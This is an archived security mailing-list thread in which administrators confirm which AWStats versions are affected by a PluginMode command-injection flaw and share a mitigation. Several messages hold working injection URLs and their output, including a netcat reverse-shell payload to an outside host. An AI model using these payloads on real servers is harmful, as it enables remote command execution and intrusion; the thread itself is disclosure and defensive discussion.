Onderwerp: Re: AWStats <= 6.4 Multiple vulnerabilities - can't reproduce in

So what are the conditions of this bug/vuln? I can't reproduce this on
several 6.3 installs..:

awstats 6.3 from source:

request:

http://www.site.org/awstats/cgi-bin/...=:print+system('id')+;

output:
****************
Error: Can't locate object method "BuildFullHTMLOutput_print" via
package "systemid" (perhaps you forgot to load "systemid"?) at (eval 1)
line 1.

Setup ('/etc/awstats/awstats.www.site.org.conf' file, web server or
permissions) may be wrong.
Check config file, permissions and AWStats documentation (in 'docs'
directory).
***************

regards,
jamie

Ondra Holecek wrote:
>
>
> GHC@www.securityfocus.com wrote:
> |
> | /*==========================================*/
> | // GHC -> AWStats <- ADVISORY
> | \\ PRODUCT: AWStats
> | // VERSION: <= 6.3
> | \\ URL: http://awstats.sourceforge.net/
> | // VULNERABILITY CLASS: Multiple vulnerabilities
> | \\ RISK: high
> | /*==========================================*/
>
> [...]
>
> |
> | PluginMode=rint+getpwent
> |
> | And the $function becomes 'BuildFullHTMLOutput_rint getpwent()'.
> | This will satisfy eval() requirements., and rint getpwent() is
> executed.
> |
> |
> http://www.lan.server/cgi-bin/awstat...print+getpwent
>
> |
> | Sanitazing limits user's input, but there is no filtration for call
> sympols '()'.
>
> no, user is not limited, he can execute ANY command if he add ; at the
> end of the command, try this
>
> awstats.pl?&PluginMode=rint+system('id')+;
>
> or even this
>
> awstats.pl?&PluginMode=rint+system('nc+172.16.1.2+3000+-e+/bin/sh')+;
>
>
> Ondra

--

James Pratt
Unix Systems Administrator
Norwich University
http://www.norwich.edu/it
<jpratt@norwich.edu> | ph. (802)485-2532

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

It seems this bug works only on my server, i dont know why

/awstats.pl?&PluginMode=rint+system('id')+;

reply:

uid=99(nobody) gid=4294967295 groups=4294967295,98(nobody) 256
Error:

Setup ('/usr/local/etc/awstats/awstats.conf' file, web server or
permissions) may be wrong.
Check config file, permissions and AWStats documentation (in 'docs'
directory).


awstats: Advanced Web Statistics 6.1 (build 1.751) (original)
perl: This is perl, v5.8.5 built for i586-linux
os: Linux xxx.tld 2.4.22 #4 Wed Jul 7 21:07:03 CEST 2004 i586 unknown
unknown GNU/Linux

Ondra


Jamie Pratt wrote:
| So what are the conditions of this bug/vuln? I can't reproduce this on
| several 6.3 installs..:
|
| awstats 6.3 from source:
|
| request:
|
|
http://www.site.org/awstats/cgi-bin/...=:print+system('id')+;

|
|
| output:
| ****************
| Error: Can't locate object method "BuildFullHTMLOutput_print" via
| package "systemid" (perhaps you forgot to load "systemid"?) at (eval 1)
| line 1.
|
| Setup ('/etc/awstats/awstats.www.site.org.conf' file, web server or
| permissions) may be wrong.
| Check config file, permissions and AWStats documentation (in 'docs'
| directory).
| ***************
|
| regards,
| jamie
|
| Ondra Holecek wrote:
|
|>
|>
|> GHC@www.securityfocus.com wrote:
|> |
|> | /*==========================================*/
|> | // GHC -> AWStats <- ADVISORY
|> | \\ PRODUCT: AWStats
|> | // VERSION: <= 6.3
|> | \\ URL: http://awstats.sourceforge.net/
|> | // VULNERABILITY CLASS: Multiple vulnerabilities
|> | \\ RISK: high
|> | /*==========================================*/
|>
|> [...]
|>
|> |
|> | PluginMode=rint+getpwent
|> |
|> | And the $function becomes 'BuildFullHTMLOutput_rint getpwent()'.
|> | This will satisfy eval() requirements., and rint getpwent() is
|> executed.
|> |
|> |
|>
http://www.lan.server/cgi-bin/awstat...print+getpwent

|>
|> |
|> | Sanitazing limits user's input, but there is no filtration for call
|> sympols '()'.
|>
|> no, user is not limited, he can execute ANY command if he add ; at the
|> end of the command, try this
|>
|> awstats.pl?&PluginMode=rint+system('id')+;
|>
|> or even this
|>
|> awstats.pl?&PluginMode=rint+system('nc+172.16.1.2+3000+-e+/bin/sh')+;
|>
|>
|> Ondra
|
|


-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.0 (FreeBSD)

iD8DBQFCElLofz/hUj18TqkRAvX8AJ9s8OtsQn0T29kcU6vFeaaNPcTmTgCfYv3b
iFO82NXxa0+IlKeG0Yxd8o0=
=FWuW
-----END PGP SIGNATURE-----

It works on mine too, though I still have 6.1. I think you may need to
add the config=www.example.com into the url between the '?' and the '&'
for it to work properly though. On my linux boxes with apache 2.0 it
displays the command output in the page but on openbsd with apache 1.3
it gives a 500 Server Error because the output ends up in the headers
somehow. Either way it works though.

-Herman

Ondra Holecek wrote:
> It seems this bug works only on my server, i dont know why
>
> /awstats.pl?&PluginMode=rint+system('id')+;
>
> reply:
>
> uid=99(nobody) gid=4294967295 groups=4294967295,98(nobody) 256
> Error:
>
> Setup ('/usr/local/etc/awstats/awstats.conf' file, web server or
> permissions) may be wrong.
> Check config file, permissions and AWStats documentation (in 'docs'
> directory).
>
>
> awstats: Advanced Web Statistics 6.1 (build 1.751) (original)
> perl: This is perl, v5.8.5 built for i586-linux
> os: Linux xxx.tld 2.4.22 #4 Wed Jul 7 21:07:03 CEST 2004 i586 unknown
> unknown GNU/Linux
>
> Ondra
>
>
> Jamie Pratt wrote:
> | So what are the conditions of this bug/vuln? I can't reproduce this on
> | several 6.3 installs..:
> |
> | awstats 6.3 from source:
> |
> | request:
> |
> |
> http://www.site.org/awstats/cgi-bin/...=:print+system('id')+;
>
>
> |
> |
> | output:
> | ****************
> | Error: Can't locate object method "BuildFullHTMLOutput_print" via
> | package "systemid" (perhaps you forgot to load "systemid"?) at (eval 1)
> | line 1.
> |
> | Setup ('/etc/awstats/awstats.www.site.org.conf' file, web server or
> | permissions) may be wrong.
> | Check config file, permissions and AWStats documentation (in 'docs'
> | directory).
> | ***************
> |
> | regards,
> | jamie
> |
> | Ondra Holecek wrote:
> |
> |>
> |>
> |> GHC@www.securityfocus.com wrote:
> |> |
> |> | /*==========================================*/
> |> | // GHC -> AWStats <- ADVISORY
> |> | \\ PRODUCT: AWStats
> |> | // VERSION: <= 6.3
> |> | \\ URL: http://awstats.sourceforge.net/
> |> | // VULNERABILITY CLASS: Multiple vulnerabilities
> |> | \\ RISK: high
> |> | /*==========================================*/
> |>
> |> [...]
> |>
> |> |
> |> | PluginMode=rint+getpwent
> |> |
> |> | And the $function becomes 'BuildFullHTMLOutput_rint getpwent()'.
> |> | This will satisfy eval() requirements., and rint getpwent() is
> |> executed.
> |> |
> |> |
> |>
> http://www.lan.server/cgi-bin/awstat...print+getpwent
>
>
> |>
> |> |
> |> | Sanitazing limits user's input, but there is no filtration for call
> |> sympols '()'.
> |>
> |> no, user is not limited, he can execute ANY command if he add ; at the
> |> end of the command, try this
> |>
> |> awstats.pl?&PluginMode=rint+system('id')+;
> |>
> |> or even this
> |>
> |> awstats.pl?&PluginMode=rint+system('nc+172.16.1.2+3000+-e+/bin/sh')+;
> |>
> |>
> |> Ondra
> |
> |
>
>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

im sorry i didnt write it, only awstat 6.1 and 6.2 is vulnerable to this
bug (system('id'), etc.)

Ondra

Ondra Holecek wrote:
| It seems this bug works only on my server, i dont know why
|
| /awstats.pl?&PluginMode=rint+system('id')+;
|
| reply:
|
| uid=99(nobody) gid=4294967295 groups=4294967295,98(nobody) 256
| Error:
|
| Setup ('/usr/local/etc/awstats/awstats.conf' file, web server or
| permissions) may be wrong.
| Check config file, permissions and AWStats documentation (in 'docs'
| directory).
|
|
| awstats: Advanced Web Statistics 6.1 (build 1.751) (original)
| perl: This is perl, v5.8.5 built for i586-linux
| os: Linux xxx.tld 2.4.22 #4 Wed Jul 7 21:07:03 CEST 2004 i586 unknown
| unknown GNU/Linux
|
| Ondra
|
|
| Jamie Pratt wrote:
| | So what are the conditions of this bug/vuln? I can't reproduce this on
| | several 6.3 installs..:
| |
| | awstats 6.3 from source:
| |
| | request:
| |
| |
|
http://www.site.org/awstats/cgi-bin/...=:print+system('id')+;

|
|
| |
| |
| | output:
| | ****************
| | Error: Can't locate object method "BuildFullHTMLOutput_print" via
| | package "systemid" (perhaps you forgot to load "systemid"?) at (eval 1)
| | line 1.
| |
| | Setup ('/etc/awstats/awstats.www.site.org.conf' file, web server or
| | permissions) may be wrong.
| | Check config file, permissions and AWStats documentation (in 'docs'
| | directory).
| | ***************
| |
| | regards,
| | jamie
| |
| | Ondra Holecek wrote:
| |
| |>
| |>
| |> GHC@www.securityfocus.com wrote:
| |> |
| |> | /*==========================================*/
| |> | // GHC -> AWStats <- ADVISORY
| |> | \\ PRODUCT: AWStats
| |> | // VERSION: <= 6.3
| |> | \\ URL: http://awstats.sourceforge.net/
| |> | // VULNERABILITY CLASS: Multiple vulnerabilities
| |> | \\ RISK: high
| |> | /*==========================================*/
| |>
| |> [...]
| |>
| |> |
| |> | PluginMode=rint+getpwent
| |> |
| |> | And the $function becomes 'BuildFullHTMLOutput_rint getpwent()'.
| |> | This will satisfy eval() requirements., and rint getpwent() is
| |> executed.
| |> |
| |> |
| |>
|
http://www.lan.server/cgi-bin/awstat...print+getpwent

|
|
| |>
| |> |
| |> | Sanitazing limits user's input, but there is no filtration for call
| |> sympols '()'.
| |>
| |> no, user is not limited, he can execute ANY command if he add ; at the
| |> end of the command, try this
| |>
| |> awstats.pl?&PluginMode=rint+system('id')+;
| |>
| |> or even this
| |>
| |> awstats.pl?&PluginMode=rint+system('nc+172.16.1.2+3000+-e+/bin/sh')+;
| |>
| |>
| |> Ondra
| |
| |
|
|

- --
public key is available at http://www.deprese.net/gpg-public.key

# If it happens once, it's a bug.
# If it happens twice, it's a feature.
# If it happens more then twice, it's a design philosophy.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.0 (FreeBSD)

iD8DBQFCEmhlfz/hUj18TqkRAmGeAJ40W8PpxeYSzj5eHG75ZUEzN3pwLACdE36n
lE+Fpdgw8DvGdai7VkItBZE=
=si2u
-----END PGP SIGNATURE-----

Still no dice on 6.3, even with the "config=www.site.org" etc,etc.. same
error. So.. Can we all agree that 6.3 is not vulnerable, because I'd
rather not upgrade to a dev/unstable release for no reason...

regards,
jamie

Herman Sheremetyev wrote:
> It works on mine too, though I still have 6.1. I think you may need to
> add the config=www.example.com into the url between the '?' and the '&'
> for it to work properly though. On my linux boxes with apache 2.0 it
> displays the command output in the page but on openbsd with apache 1.3
> it gives a 500 Server Error because the output ends up in the headers
> somehow. Either way it works though.
>
> -Herman
>
> Ondra Holecek wrote:
>
>> It seems this bug works only on my server, i dont know why
>>
>> /awstats.pl?&PluginMode=rint+system('id')+;
>>
>> reply:
>>
>> uid=99(nobody) gid=4294967295 groups=4294967295,98(nobody) 256
>> Error:
>>
>> Setup ('/usr/local/etc/awstats/awstats.conf' file, web server or
>> permissions) may be wrong.
>> Check config file, permissions and AWStats documentation (in 'docs'
>> directory).
>>
>>
>> awstats: Advanced Web Statistics 6.1 (build 1.751) (original)
>> perl: This is perl, v5.8.5 built for i586-linux
>> os: Linux xxx.tld 2.4.22 #4 Wed Jul 7 21:07:03 CEST 2004 i586 unknown
>> unknown GNU/Linux
>>
>> Ondra
>>
>>
>> Jamie Pratt wrote:
>> | So what are the conditions of this bug/vuln? I can't reproduce this on
>> | several 6.3 installs..:
>> |
>> | awstats 6.3 from source:
>> |
>> | request:
>> |
>> |
>> http://www.site.org/awstats/cgi-bin/...=:print+system('id')+;
>>
>>
>> |
>> |
>> | output:
>> | ****************
>> | Error: Can't locate object method "BuildFullHTMLOutput_print" via
>> | package "systemid" (perhaps you forgot to load "systemid"?) at (eval 1)
>> | line 1.
>> |
>> | Setup ('/etc/awstats/awstats.www.site.org.conf' file, web server or
>> | permissions) may be wrong.
>> | Check config file, permissions and AWStats documentation (in 'docs'
>> | directory).
>> | ***************
>> |
>> | regards,
>> | jamie
>> |
>> | Ondra Holecek wrote:
>> |
>> |>
>> |>
>> |> GHC@www.securityfocus.com wrote:
>> |> |
>> |> | /*==========================================*/
>> |> | // GHC -> AWStats <- ADVISORY
>> |> | \\ PRODUCT: AWStats
>> |> | // VERSION: <= 6.3
>> |> | \\ URL: http://awstats.sourceforge.net/
>> |> | // VULNERABILITY CLASS: Multiple vulnerabilities
>> |> | \\ RISK: high
>> |> | /*==========================================*/
>> |>
>> |> [...]
>> |>
>> |> |
>> |> | PluginMode=rint+getpwent
>> |> |
>> |> | And the $function becomes 'BuildFullHTMLOutput_rint getpwent()'.
>> |> | This will satisfy eval() requirements., and rint getpwent() is
>> |> executed.
>> |> |
>> |> |
>> |>
>> http://www.lan.server/cgi-bin/awstat...print+getpwent
>>
>>
>> |>
>> |> |
>> |> | Sanitazing limits user's input, but there is no filtration for call
>> |> sympols '()'.
>> |>
>> |> no, user is not limited, he can execute ANY command if he add ; at the
>> |> end of the command, try this
>> |>
>> |> awstats.pl?&PluginMode=rint+system('id')+;
>> |>
>> |> or even this
>> |>
>> |>
>> awstats.pl?&PluginMode=rint+system('nc+172.16.1.2+3000+-e+/bin/sh')+;
>> |>
>> |>
>> |> Ondra
>> |
>> |
>>
>>
>
>

--

James Pratt
Unix Systems Administrator
Norwich University
http://www.norwich.edu/it
<jpratt@norwich.edu> | ph. (802)485-2532

Jamie Pratt wrote:

> Still no dice on 6.3, even with the "config=www.site.org" etc,etc..
> same error. So.. Can we all agree that 6.3 is not vulnerable, because
> I'd rather not upgrade to a dev/unstable release for no reason...

I can confirm the bug on 6.3 running Apache 2.0.52.

Furthermore, ANY system command inserted in the system() call can be
executed. This is a very serious bug. Unpriviledged user or not, with
an .rhosts file on a potential attacker's end, scp would work just
nicely, then a chmod, then execution of any script they wanted to upload.

This issue is not to be taken lightly.

Until this issue is resolved, we have commented out the Plugin lines:
# AWStats output is replaced by a plugin output
if ($PluginMode) {
my $function="BuildFullHTMLOutput_$PluginMode()";
eval("$function");
if ($? || $@) { error("$@"); }
&html_end(0);
exit 0;
}

If a plugin is called, it is apparently ignored and the stats are displayed.

--
Thom Craver
Corporate Communications, Inc.
www.corp-com.com
585.262.3430